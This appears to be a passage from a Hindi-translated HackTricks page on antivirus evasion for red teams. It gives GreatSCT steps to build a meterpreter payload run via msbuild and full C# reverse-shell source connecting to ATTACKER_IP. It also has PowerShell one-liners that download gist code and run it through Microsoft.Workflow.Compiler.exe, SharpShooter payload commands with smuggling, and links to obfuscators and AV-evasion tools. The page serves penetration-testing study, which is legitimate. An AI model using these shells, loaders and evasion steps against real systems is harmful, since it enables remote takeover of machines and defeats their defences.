* मदद के लिए `winvnc -h` न चलाएं या आपको [पॉपअप](https://i.imgur.com/oc18wcu.png) को ट्रिगर कर देगा
### GreatSCT
इसे यहाँ से डाउनलोड करें: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py
```
GreatSCT के अंदर:
```
use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
अब **लिस्टनर** को `msfconsole -r file.rc` के साथ **शुरू** करें और **xml पेलोड** को निम्नलिखित के साथ **क्रियान्वित** करें:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**वर्तमान रक्षक प्रक्रिया को बहुत तेजी से समाप्त कर देगा।**
### हमारी खुद की रिवर्स शैल को कंपाइल करना
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### पहला सी# रिवर्सशैल
इसे इस प्रकार कंपाइल करें:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
Use it with:
इसका उपयोग करें:
```
back.exe <ATTACKER_IP> <PORT>
```
```csharp
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
```
### C# का उपयोग करके कंपाइलर
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
स्वचालित डाउनलोड और क्रियान्वयन:
```csharp
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
### सी++
```
sudo apt-get install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
```
* [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
* [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
* [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
* [https://github.com/l0ss/Grouper2](ps://github.com/l0ss/Group)
* [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
* [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### अन्य उपकरण
```bash
# Veil Framework:
https://github.com/Veil-Framework/Veil
# Shellter
https://www.shellterproject.com/download/
# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
# Donut:
https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
```
### अधिक
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>